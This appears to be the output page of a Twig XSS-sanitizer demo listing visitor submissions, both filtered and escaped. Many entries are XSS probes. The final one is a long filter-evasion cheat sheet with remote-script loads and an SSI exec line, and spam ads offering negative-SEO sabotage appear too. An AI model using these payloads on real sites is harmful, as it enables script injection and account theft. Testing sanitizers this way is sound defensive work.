result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
result with twig: {{ xss.xss | escape }}:
<script>\\r\\n
keyword(s): dsq
description: qds
by sqd | at 2021-10-15 10:46:32
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
rg
result with twig: {{ xss.xss | escape }}:
rg
keyword(s): eg
description: eg
by ge | at 2021-10-15 10:46:15
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
bold\\r\\n
\\r\\ndddd
result with twig: {{ xss.xss | escape }}:
<b>bold</b>\\r\\n<br><br>\\r\\n<div style=\\\'text-align: center\\\'>dddd</div>
keyword(s): sdfg
description: ssdfg
by <b>test | at 2021-10-14 16:30:20
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
result with twig: {{ xss.xss | escape }}:
<script>
keyword(s):
description:
by | at 2021-10-13 23:01:29
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
gdffggdgd
result with twig: {{ xss.xss | escape }}:
gdffggdgd
keyword(s): ggfg
description: gfgfd
by dsdf | at 2021-10-13 22:16:39
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
result with twig: {{ xss.xss | escape }}:
<script>
keyword(s): dfdsf
description: fsdfdfds
by | at 2021-10-13 22:16:12
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
Greetings\\r\\n\\r\\nIf you ever need Negative SEO to de-rank any site, you can hire us here\\r\\nhttps://www.speed-seo.net/product/negative-seo-service/\\r\\n\\r\\n
result with twig: {{ xss.xss | escape }}:
Greetings\\r\\n\\r\\nIf you ever need Negative SEO to de-rank any site, you can hire us here\\r\\nhttps://www.speed-seo.net/product/negative-seo-service/\\r\\n\\r\\n
keyword(s):
description: Hi there\\r\\n\\r\\nIf you ever need Negative SEO to de-rank any site, you can hire us here\\r\\nhttps://www.speed-seo.net/product/negative-seo-service/\\r\\n\\r\\n
by Kristina Willett | at 2021-10-13 15:12:04
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
Amet labore quia ex
result with twig: {{ xss.xss | escape }}:
Amet labore quia ex
keyword(s): Ut deserunt ut illum
description: Neque sint pariatur
by Numquam ab corrupti | at 2021-10-12 23:33:56
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
ik
result with twig: {{ xss.xss | escape }}:
ik
keyword(s):
description: /,.
by <> | at 2021-10-10 11:57:46
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
xss
result with twig: {{ xss.xss | escape }}:
xss
keyword(s): test
description: test
by test | at 2021-10-10 11:55:48
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
<svg></svg>
result with twig: {{ xss.xss | escape }}:
<svg></svg>
keyword(s): aa
description: Test?=\\r\\n>
by ss | at 2021-10-09 15:28:58
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
ghjklhjk{}
result with twig: {{ xss.xss | escape }}:
ghjklhjk{}
keyword(s): jjj
description: jjj
by gg | at 2021-10-09 15:28:09
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
![]()
result with twig: {{ xss.xss | escape }}:
<img src onerror=alert(10)>
keyword(s):
description: Test
by TEst | at 2021-10-09 14:15:45
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
<svg><svg >
result with twig: {{ xss.xss | escape }}:
<svg><svg onload=alert(1)>
keyword(s): 1
description: 1
by 1 | at 2021-10-08 15:25:39
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
Hi ,\\r\\n\\r\\nWho would I contact at your company that handles ordering your logo products, t-shirts, and promotional items?\\r\\n\\r\\nFor over 20 years we have been creating and supplying our clients with all their custom logo merchandise.\\r\\n\\r\\nWe can put your logo onto anything including:\\r\\n\\r\\n-Custom Printed T-shirts / Hoodies\\r\\n-Pens \\r\\n-Mugs \\r\\n-T-shirts \\r\\n-Bags \\r\\n-Banners \\r\\n-Table Covers \\r\\n-Key chains \\r\\n-USB flash drives \\r\\n\\r\\n---plus 350,000 other items!\\r\\n\\r\\nWe also offer PPE items such as hand sanitizer and masks.\\r\\n\\r\\nAre there any upcoming projects that you need logo items for?\\r\\n\\r\\nThanks in advance for your time.\\r\\n\\r\\nRegards,\\r\\n\\r\\nVincent\\r\\nCustom Branded Product Specialist
result with twig: {{ xss.xss | escape }}:
Hi ,\\r\\n\\r\\nWho would I contact at your company that handles ordering your logo products, t-shirts, and promotional items?\\r\\n\\r\\nFor over 20 years we have been creating and supplying our clients with all their custom logo merchandise.\\r\\n\\r\\nWe can put your logo onto anything including:\\r\\n\\r\\n-Custom Printed T-shirts / Hoodies\\r\\n-Pens \\r\\n-Mugs \\r\\n-T-shirts \\r\\n-Bags \\r\\n-Banners \\r\\n-Table Covers \\r\\n-Key chains \\r\\n-USB flash drives \\r\\n\\r\\n---plus 350,000 other items!\\r\\n\\r\\nWe also offer PPE items such as hand sanitizer and masks.\\r\\n\\r\\nAre there any upcoming projects that you need logo items for?\\r\\n\\r\\nThanks in advance for your time.\\r\\n\\r\\nRegards,\\r\\n\\r\\nVincent\\r\\nCustom Branded Product Specialist
keyword(s):
description: Hi ,\\r\\n\\r\\nWho would I contact at your company that handles ordering your logo products, t-shirts, and promotional items?\\r\\n\\r\\nFor over 20 years we have been creating and supplying our clients with all their custom logo merchandise.\\r\\n\\r\\nWe can put your logo onto anything including:\\r\\n\\r\\n-Custom Printed T-shirts / Hoodies\\r\\n-Pens \\r\\n-Mugs \\r\\n-T-shirts \\r\\n-Bags \\r\\n-Banners \\r\\n-Table Covers \\r\\n-Key chains \\r\\n-USB flash drives \\r\\n\\r\\n---plus 350,000 other items!\\r\\n\\r\\nWe also offer PPE items such as hand sanitizer and masks.\\r\\n\\r\\nAre there any upcoming projects that you need logo items for?\\r\\n\\r\\nThanks in advance for your time.\\r\\n\\r\\nRegards,\\r\\n\\r\\nVincent\\r\\nCustom Branded Product Specialist
by Vincent Helms | at 2021-10-07 14:41:22
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
\\\">
result with twig: {{ xss.xss | escape }}:
\\\"><script>console.log(\\\"XSS Script\\\");</script>
keyword(s): \\\">
description: \\\">
by \\\"> | at 2021-10-07 08:17:16
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
pada hari 15/09/2021
result with twig: {{ xss.xss | escape }}:
pada hari 15/09/2021
keyword(s): /
description:
by \\\\\\\" | at 2021-10-05 11:12:26
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
result with twig: {{ xss.xss | escape }}:
<script>alert(123);</script>
keyword(s): fdgdfg
description:
by fdgdf | at 2021-09-29 14:22:06
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
alert);
result with twig: {{ xss.xss | escape }}:
alert(document.location);
keyword(s):
description:
by Stryhun | at 2021-09-27 10:18:39
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
Hi there,\\r\\n\\r\\nHire Live Chat Agents - Unlimited chats - 24/7 coverage - Good Communication - Top Notch Support - Increase your sales 3 times with our 24/7 Live Chat Agents to generate more leads and excellent customer support. \\r\\nhttps://crotonz.com/live-chat.php\\r\\n\\r\\nHire Virtual Assistants and Agents for your website & business. Flexible Plans/ Pricing and Expert Employees. 15 days Free Trial. \\r\\nhttps://crotonz.com/virtual-assistants.php\\r\\n\\r\\nBest Regards\\r\\nSam Miller\\r\\ninfo@crotonz.com
result with twig: {{ xss.xss | escape }}:
Hi there,\\r\\n\\r\\nHire Live Chat Agents - Unlimited chats - 24/7 coverage - Good Communication - Top Notch Support - Increase your sales 3 times with our 24/7 Live Chat Agents to generate more leads and excellent customer support. \\r\\nhttps://crotonz.com/live-chat.php\\r\\n\\r\\nHire Virtual Assistants and Agents for your website & business. Flexible Plans/ Pricing and Expert Employees. 15 days Free Trial. \\r\\nhttps://crotonz.com/virtual-assistants.php\\r\\n\\r\\nBest Regards\\r\\nSam Miller\\r\\ninfo@crotonz.com
keyword(s):
description: Hi there,\\r\\n\\r\\nHire Live Chat Agents - Unlimited chats - 24/7 coverage - Good Communication - Top Notch Support - Increase your sales 3 times with our 24/7 Live Chat Agents to generate more leads and excellent customer support. \\r\\nhttps://crotonz.com/live-chat.php\\r\\n\\r\\nHire Virtual Assistants and Agents for your website & business. Flexible Plans/ Pricing and Expert Employees. 15 days Free Trial. \\r\\nhttps://crotonz.com/virtual-assistants.php\\r\\n\\r\\nBest Regards\\r\\nSam Miller\\r\\ninfo@crotonz.com
by Teodoro Robinson | at 2021-09-25 23:08:50
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
dc
result with twig: {{ xss.xss | escape }}:
dc
keyword(s): cd
description: dc
by dcd | at 2021-09-23 18:27:05
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
hii" accesskey="x" ="alert(document.domain)
result with twig: {{ xss.xss | escape }}:
hii" accesskey="x" onclick="alert(document.domain)
keyword(s): a
description: a
by q | at 2021-09-23 11:23:50
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
result with twig: {{ xss.xss | escape }}:
<script>alert(\\\'aa\\\');</script>
keyword(s): test
description: test
by test | at 2021-09-19 07:23:14
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
efeefefe
result with twig: {{ xss.xss | escape }}:
efeefefe
keyword(s): tse
description: etes
by budi | at 2021-09-16 16:41:31
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
<!--[if IE]>blablaalert(\\\'kokot\\\');\\\">\\r\\nbubub
result with twig: {{ xss.xss | escape }}:
<!--[if IE]>blabla<![endif]-->\\r\\n<img src=\\\"kokot.jpg\\\" onerror=\\\"<script>alert(\\\'kokot\\\');</script>\\\">\\r\\nbubub
keyword(s): blbecek
description: holahej
by debil | at 2021-09-13 15:56:12
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
https://test.com/\\\"onmouse
result with twig: {{ xss.xss | escape }}:
https://test.com/\\\"onmouse<marquee>over={alert`1`}<marquee>\\\"</marquee>
keyword(s): a
description: asdsad
by C | at 2021-09-10 13:58:40
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
Foo
\\r\\niwjhf iuew result with twig: {{ xss.xss | escape }}:
<p>Foo</p>\\r\\n<besch>iwjhf iuew</besch>
keyword(s):
description:
by me | at 2021-09-09 15:20:10
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
test result with twig: {{ xss.xss | escape }}:
<beschreibung>test</beschreibung>
keyword(s):
description:
by me3 | at 2021-09-09 15:19:11
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
test
result with twig: {{ xss.xss | escape }}:
test
keyword(s):
description:
by me2 | at 2021-09-09 15:18:44
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
result with twig: {{ xss.xss | escape }}:
<beschreibung fo uhefihwefiuhwef> </beschreibung>
keyword(s):
description:
by Me | at 2021-09-09 15:18:21
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
result with twig: {{ xss.xss | escape }}:
<script></script>
keyword(s):
description:
by aaaa | at 2021-09-08 14:17:09
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
sdds
result with twig: {{ xss.xss | escape }}:
sdds
keyword(s):
description:
by dcvxzser434634<scropt> | at 2021-09-08 14:09:46
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
The real L word
\\r\\nresult with twig: {{ xss.xss | escape }}:
<blockquote class=\\\\\\\\\\\\\\\"imgur-embed-pub\\\\\\\\\\\\\\\" lang=\\\\\\\\\\\\\\\"en\\\\\\\\\\\\\\\" data-id=\\\\\\\\\\\\\\\"a/JM2Eh4Z\\\\\\\\\\\\\\\" ><a href=\\\\\\\\\\\\\\\"//imgur.com/a/JM2Eh4Z\\\\\\\\\\\\\\\">The real L word</a></blockquote><script async src=\\\\\\\\\\\\\\\"//s.imgur.com/min/embed.js\\\\\\\\\\\\\\\" charset=\\\\\\\\\\\\\\\"utf-8\\\\\\\\\\\\\\\"></script>\\r\\n
keyword(s):
description:
by بليسبسيب | at 2021-09-08 13:19:28
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
vdhsh
result with twig: {{ xss.xss | escape }}:
vdhsh<script>alert(\\\"hey\\\");</script>
keyword(s):
description:
by | at 2021-09-08 12:03:50
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
Gx. Vbvbn
result with twig: {{ xss.xss | escape }}:
Gx. Vbvbn
keyword(s): Cvbvccc
description: Vvvvvvnn
by Ffzs | at 2021-09-08 12:02:03
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
result with twig: {{ xss.xss | escape }}:
<script>alert(\\\"hey\\\");</script>
keyword(s):
description:
by l | at 2021-09-04 15:26:15
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
\\\'\\\';!--\\\"=&{()}
result with twig: {{ xss.xss | escape }}:
\\\'\\\';!--\\\"<XSS>=&{()}
keyword(s):
description:
by l | at 2021-09-04 15:24:01
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
The real L word
result with twig: {{ xss.xss | escape }}:
<blockquote class=\\\"imgur-embed-pub\\\" lang=\\\"en\\\" data-id=\\\"a/JM2Eh4Z\\\" ><a href=\\\"//imgur.com/a/JM2Eh4Z\\\">The real L word</a></blockquote><script async src=\\\"//s.imgur.com/min/embed.js\\\" charset=\\\"utf-8\\\"></script>
keyword(s):
description:
by Teste | at 2021-09-03 15:06:04
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
Et ipsum esse volupt
result with twig: {{ xss.xss | escape }}:
Et ipsum esse volupt
keyword(s): Magnam pariatur Ani
description: Sed placeat sint un
by Laboriosam cupidita | at 2021-09-02 16:34:07
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
aa
result with twig: {{ xss.xss | escape }}:
aa
keyword(s): aa
description: {{constructor.constructor(\\\'alert(\\\"XSS\\\")\\\')()}}
by aa | at 2021-09-02 13:18:59
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
Hi\\r\\n\\r\\nIf you ever need Negative SEO to de-rank any site, you can hire us here\\r\\nhttps://www.speed-seo.net/product/negative-seo-service/\\r\\n\\r\\n
result with twig: {{ xss.xss | escape }}:
Hi\\r\\n\\r\\nIf you ever need Negative SEO to de-rank any site, you can hire us here\\r\\nhttps://www.speed-seo.net/product/negative-seo-service/\\r\\n\\r\\n
keyword(s):
description: Hi\\r\\n\\r\\nIf you ever need Negative SEO to de-rank any site, you can hire us here\\r\\nhttps://www.speed-seo.net/product/negative-seo-service/\\r\\n\\r\\n
by Caren Bou | at 2021-09-01 01:33:24
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
We have an amazing database of leads for you.\\\\\\\\r\\\\\\\\n\\\\\\\\r\\\\\\\\nAll countries are $99 and you can buy the entire world 165 countries for $179.\\\\\\\\r\\\\\\\\n\\\\\\\\r\\\\\\\\nThis offer is valid till Friday.\\\\\\\\r\\\\\\\\n\\\\\\\\r\\\\\\\\nwww.SunDataGroup.one
result with twig: {{ xss.xss | escape }}:
We have an amazing database of leads for you.\\\\\\\\r\\\\\\\\n\\\\\\\\r\\\\\\\\nAll countries are $99 and you can buy the entire world 165 countries for $179.\\\\\\\\r\\\\\\\\n\\\\\\\\r\\\\\\\\nThis offer is valid till Friday.\\\\\\\\r\\\\\\\\n\\\\\\\\r\\\\\\\\nwww.SunDataGroup.one
keyword(s): asdasd
description: asdasd
by asdasd | at 2021-08-31 02:51:23
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
![]()
result with twig: {{ xss.xss | escape }}:
<img src=\\\"\\\"><script>alert(123);</script>
keyword(s):
description:
by | at 2021-08-30 08:15:20
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
Search results for \\\"xss\\\"\\r\\n
result with twig: {{ xss.xss | escape }}:
Search results for \\\"xss\\\"\\r\\n
keyword(s): xss
description: jittgk
by liuoy7uykloxss | at 2021-08-29 11:29:28
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
Search results for \\\"">xss/<\\\"
result with twig: {{ xss.xss | escape }}:
Search results for \\\"">xss/<\\\"
keyword(s): xss
description: nooo
by ali | at 2021-08-29 11:26:45
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
dsf
result with twig: {{ xss.xss | escape }}:
dsf
keyword(s): dsf
description: <img >kekekeke
by dsf | at 2021-08-27 11:10:28
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
\\\"=\\\"x\\\">d0mxssd0mxss
result with twig: {{ xss.xss | escape }}:
<p style=\\\"xasd\\\"\\\"x<strong>\\\"=\\\"x\\\">d0mxssd0mxss</p></p>
keyword(s): aasd
description: asd
by asd | at 2021-08-27 09:17:31
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
We have an amazing database of leads for you.\\r\\n\\r\\nAll countries are $99 and you can buy the entire world 165 countries for $179.\\r\\n\\r\\nThis offer is valid till Friday.\\r\\n\\r\\nwww.SunDataGroup.one
result with twig: {{ xss.xss | escape }}:
We have an amazing database of leads for you.\\r\\n\\r\\nAll countries are $99 and you can buy the entire world 165 countries for $179.\\r\\n\\r\\nThis offer is valid till Friday.\\r\\n\\r\\nwww.SunDataGroup.one
keyword(s):
description: We have an amazing database of leads for you.\\r\\n\\r\\nAll countries are $99 and you can buy the entire world 165 countries for $179.\\r\\n\\r\\nThis offer is valid till Friday.\\r\\n\\r\\nwww.SunDataGroup.one
by Dewayne Langston | at 2021-08-27 04:16:49
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
test{{constructor.constructor(\\\'alert(document.domain)\\\')()}}
result with twig: {{ xss.xss | escape }}:
test{{constructor.constructor(\\\'alert(document.domain)\\\')()}}
keyword(s):
description:
by bb | at 2021-08-25 19:48:15
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
test{{constructor.constructor(\\\'alert(document.domain)\\\')()}}
result with twig: {{ xss.xss | escape }}:
test{{constructor.constructor(\\\'alert(document.domain)\\\')()}}
keyword(s): laravel, vue
description:
by bb | at 2021-08-25 19:47:22
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
sasas
result with twig: {{ xss.xss | escape }}:
sasas
keyword(s): hjh
description: jhghjgj
by 111` | at 2021-08-24 14:13:24
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
ádsđ
result with twig: {{ xss.xss | escape }}:
ádsđ
keyword(s): 123
description: ádsdsd
by abc | at 2021-08-23 17:57:06
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
result with twig: {{ xss.xss | escape }}:
<script>alert(\\\"XSS\\\")</script>
keyword(s): xss
description: test xss
by Sergey | at 2021-08-19 18:33:59
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
<body alert(\\\'XSS\\\');\\\">\\r\\n\\\'\\\"></title>\\r\\n</textarea>\\\'\\\">\\r\\n\\\'\\\"\\\"> alert(\\\'X \\\\nS \\\\nS\\\');\\r\\n<<<alert(123)\\r\\n<html><noalert><noscript>(123)</noscript>\\r\\n<INPUT TYPE=\\\"IMAGE\\\" SRC=\\\"(\\\'XSS\\\');\\\">\\r\\n\\\'></select>\\r\\n\\\'>\\\">\\r\\n}</style>\\r\\n\\r\\na=\\\"get\\\";b=\\\"URL\\\";c=\\\"\\\";d=\\\"alert(\\\'xss\\\');\\\";eval(a+b+c+d);\\r\\n=\\\'>\\r\\n\\\"+src=\\\"http://yoursite.com/xss.js?69,69\\\">\\r\\n<body background=\\\'\\\">></body>\\r\\n\\\">/XaDoS/>\\r\\n\\\">/KinG-InFeT.NeT/>\\r\\nsrc=\\\"http://www.site.com/XSS.js\\\">\\r\\nIj48L3RpdGxlPjxzY3JpcHQ+YWxlcnQoMTMzNyk8L3NjcmlwdD4=\\r\\n!--\\\" />\\r\\n<marquee><h1>XSS by xss</h1></marquee>\\r\\n\\\">><marquee><h1>XSS by xss</h1></marquee>\\r\\n\\\'\\\"></title>><marquee><h1>XSS by xss</h1></marquee>\\r\\n<img \\\"\\\"\\\"><marquee><h1>XSS by xss</h1></marquee>\\r\\n<marquee><h1>XSS by xss</h1></marquee>\\r\\n\\\">\\\"></marquee>\\r\\n\\\'\\\"></title>><marquee><h1>XSS by xss</h1></marquee>\\r\\n<iframe src=\\\"(\\\'XSS by \\\\nxss\\\');\\\"></iframe><marquee><h1>XSS by xss</h1></marquee>\\r\\n\\\'><img ><img ><img >\\\">\\r\\n<img >\\\<\\\/\\\i\\\f\\\r\\\a\\\m\\\e\\\>\\\');\\\"></img>\\r\\n</body>\\r\\n</html>\\r\\n\\r\\n\\r\\n<BODY >\\r\\n<BODY BACKGROUND=\\\"(\\\'XSS\\\')\\\">\\r\\n<IMG >\\r\\n<IMG >\\r\\n<IMG >\\>\\>\\>\\>\\>\\>\\>\\>\\>\\ HREF="('XSS');//" >\\r\\n<A HREF="http://66.102.7.147/">XSS</A>\\r\\n<A HREF="http://www.google.com">XSS</A>\\r\\n<A HREF="http://1113982867/">XSS</A>\\r\\n<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>\\r\\n<A HREF="http://0102.0146.0007.00000223/">XSS</A>\\r\\n<A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A>\\r\\n<A HREF="//www.google.com/">XSS</A>\\r\\n<A HREF="//google">XSS</A>\\r\\n<A HREF="http://ha.ckers.org@google">XSS</A>\\r\\n<A HREF="http://google:ha.ckers.org">XSS</A>\\r\\n<A HREF="http://google.com/">XSS</A>\\r\\n<A HREF="http://www.google.com./">XSS</A>\\r\\n<A HREF="'http://www.google.com/'">XSS</A>\\r\\n<A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A>\\r\\n\\r\\n<img >\\r\\n<img >\\r\\n<img >\\>\\ >>\\>\\>\\>\\r\\n<img >\\r\\n<img >\\>\\>\\></LAYER>\\r\\n<link REL=\\\"stylesheet\\\" HREF=\\\";\\\">\\r\\n<style>li {list-style-image: url(\\\";\\\");</STYLE><UL><LI>XSS\\r\\n<img >\\>\\>\\></iframe>\\r\\n<FRAMESET><FRAME SRC=\\\";\\\"></frameset>\\r\\n<table BACKGROUND=\\\";\\\">\\r\\n<table><TD BACKGROUND=\\\";\\\">\\r\\n<div url(;)\\\">\\r\\n<div url(;)\\\">\\r\\n<div document.vulnerable=true);\\\">\\r\\n<style>@im\\\\port\\\'\\\\ja\\\\vasc\\\\ript:document.vulnerable=true\\\';</style>\\r\\n<img >\\>\\r\\nexp/*<A >\\r\\n<style TYPE=\\\"text/javascript\\\">document.vulnerable=true;</style>\\r\\n<style>.XSS{background-image:url(\\\"\\\");}</STYLE><A ></a>\\r\\n<style type=\\\"text/css\\\">BODY{background:url(\\\"\\\")}</style>\\r\\n<!--[if gte IE 4]><![endif]-->\\r\\n<base HREF=\\\";//\\\">\\r\\n<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=></object>\\r\\n<XML ID=I><X><C><![<IMG >]]</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></span>\\r\\n<XML ID=\\\"xss\\\"><I><B><IMG >></B></I></XML><SPAN DATASRC=\\\"#xss\\\" DATAFLD=\\\"B\\\" DATAFORMATAS=\\\"HTML\\\"></span>\\r\\n<html><BODY><?xml:namespace prefix=\\\"t\\\" ns=\\\"urn:schemas-microsoft-com:time\\\"><?import namespace=\\\"t\\\" implementation=\\\"#default#time2\\\"><t:set attributeName=\\\"innerHTML\\\" to=\\\"XSSdocument.vulnerable=true\\\"></BODY></html>\\r\\n<? echo(\\\'<SCR)\\\';echo(\\\'IPT>document.vulnerable=true\\\'); ?>\\r\\n<meta HTTP-EQUIV=\\\"Set-Cookie\\\" Content=\\\"USERID=\\\">\\r\\n<head><META HTTP-EQUIV=\\\"CONTENT-TYPE\\\" CONTENT=\\\"text/html; charset=UTF-7\\\"> </HEAD>\\r\\n<a >\\r\\n<div >\\r\\n<img >\\r\\n<img >\\r\\n<input type=\\\"image\\\" dynsrc=\\\";\\\">\\r\\n<bgsound src=\\\";\\\">\\r\\n&\\r\\n&{document.vulnerable=true;};\\r\\n<img >\\>\\>\\r\\n<img >\\r\\n<img >\\r\\n<a >document.vulnerable=true;\\\">\\r\\n<meta http-equiv=\\\"refresh\\\" content=\\\"0;url=;\\\">\\r\\n<body >\\r\\n<div url(;);\\\">\\r\\n<div url([link to code]);\\\">\\r\\n<div url([link to code]);\\\">\\r\\n<div document.vulnerable=true;);\\\">\\r\\n<style type=\\\"text/javascript\\\">document.vulnerable=true;</style>\\r\\n<object classid=\\\"clsid:...\\\" codebase=\\\";\\\">\\r\\n<style><!--</style>\\r\\n<\\r\\n\\r\\n<!-- -- --><!-- -- -->\\r\\n<img >\\r\\n<img >\\\" =\\\"document.vulnerable=true;\\\">\\r\\n<xml src=\\\";\\\">\\r\\n<xml id=\\\"X\\\"><a><b>;</b></a></xml>\\r\\n<div datafld=\\\"b\\\" dataformatas=\\\"html\\\" datasrc=\\\"#X\\\"></div>\\r\\n[\\\\xC0][\\\\xBC]script>document.vulnerable=true;[\\\\xC0][\\\\xBC]/script>\\r\\n<style>@import\\\'http://www.securitycompass.com/xss.css\\\';</style>\\r\\n<meta HTTP-EQUIV=\\\"Link\\\" Content=\\\"<http://www.securitycompass.com/xss.css>; REL=stylesheet\\\">\\r\\n<style>BODY{:url(\\\"http://www.securitycompass.com/xssmoz.xml#xss\\\")}</style>\\r\\n<OBJECT TYPE=\\\"text/x-scriptlet\\\" DATA=\\\"http://www.securitycompass.com/scriptlet.html\\\"></object>\\r\\n<HTML xmlns:xss><?import namespace=\\\"xss\\\" implementation=\\\"http://www.securitycompass.com/xss.htc\\\"><xss:xss>XSS</xss:xss></html>\\r\\n\\r\\n<!--#exec cmd=\\\"/bin/echo \\\'<SCR\\\'\\\"--><!--#exec cmd=\\\"/bin/echo \\\'IPT SRC=http://www.securitycompass.com/xss.js>\\\'\\\"-->\\r\\n\\\" SRC=\\\"http://www.securitycompass.com/xss.js\\\">\\r\\n\\r\\n\\\" \\\'\\\' SRC=\\\"http://www.securitycompass.com/xss.js\\\">\\r\\n\\\'\\\" SRC=\\\"http://www.securitycompass.com/xss.js\\\">\\r\\n` SRC=\\\"http://www.securitycompass.com/xss.js\\\">\\r\\n\\\'>\\\" SRC=\\\"http://www.securitycompass.com/xss.js\\\">\\r\\nPT SRC=\\\"http://www.securitycompass.com/xss.js\\\">\\r\\n<div url(http://www.securitycompass.com/xss.js);\\\"> [Mozilla]\\r\\n"><BODY !#$%&()*~+-_.,:;?@[/|\\\\]^`=alert("XSS")>\\r\\nalert(1)\\r\\n</br >\\r\\n<scrscriptipt>alert(1)</scrscriptipt>\\r\\n<br size=\\\\"&{alert('XSS')}\\\\">\\r\\nperl -e 'print \\\\"<IMG >\\\\";' > out\\r\\nperl -e 'print \\\\"<SCR\\\\0IPT>alert(\\\\"XSS\\\\")</SCR\\\\0IPT>\\\\";' > out\\r\\n<~/XSS/*-*/>\\r\\n<~/XSS/*-*/>\\r\\n<~/XSS/*-*/>\\r\\n<~/XSS >\\r\\n\\\">\\r\\n</XSS/*-*/>\\r\\nXSS/*-*/STYLE=xss:e/**/xpression(alert(\\\'XSS\\\'))>\\r\\nXSS STYLE=xss:e/**/xpression(alert(\\\'XSS\\\'))>\\r\\n</XSS >\\r\\n\\\';;alert(String.fromCharCode(88,83,83))//\\\\\\\';;alert(String.fromCharCode(88,83,83))//\\\";;alert(String.fromCharCode(88,83,83))//\\\\\\\";;alert(String.fromCharCode(88,83,83))//-->;;\\\";>;\\\';>;;alert(String.fromCharCode(88,83,83));\\r\\n\\\';\\\';;!--\\\";<;XSS>;=&;{()}\\r\\n;alert(\\\';XSS\\\';);\\r\\nSRC=http://ha.ckers.org/xss.js>;;\\r\\n;alert(String.fromCharCode(88,83,83));\\r\\n<;BASE HREF=\\\";(\\\';XSS\\\';);//\\\";>;\\r\\n<;BGSOUND SRC=\\\";(\\\';XSS\\\';);\\\";>;\\r\\n<;BODY BACKGROUND=\\\";(\\\';XSS\\\';);\\\";>;\\r\\n<;BODY >;\\r\\n<;DIV url((\\\';XSS\\\';))\\\";>;\\r\\n<;DIV url(&;#1;(\\\';XSS\\\';))\\\";>;\\r\\n<;DIV alert(\\\';XSS\\\';));\\\";>;\\r\\n<;FRAMESET>;<;FRAME SRC=\\\";(\\\';XSS\\\';);\\\";>;<;/FRAMESET>;\\r\\n<;IFRAME SRC=\\\";(\\\';XSS\\\';);\\\";>;<;/IFRAME>;\\r\\n<;INPUT TYPE=\\\";IMAGE\\\"; SRC=\\\";(\\\';XSS\\\';);\\\";>;\\r\\n<;IMG SRC=\\\";(\\\';XSS\\\';);\\\";>;\\r\\n<;IMG SRC=(\\\';XSS\\\';)>;\\r\\n<;IMG DYNSRC=\\\";(\\\';XSS\\\';);\\\";>;\\r\\n<;IMG LOWSRC=\\\";(\\\';XSS\\\';);\\\";>;\\r\\n<;IMG 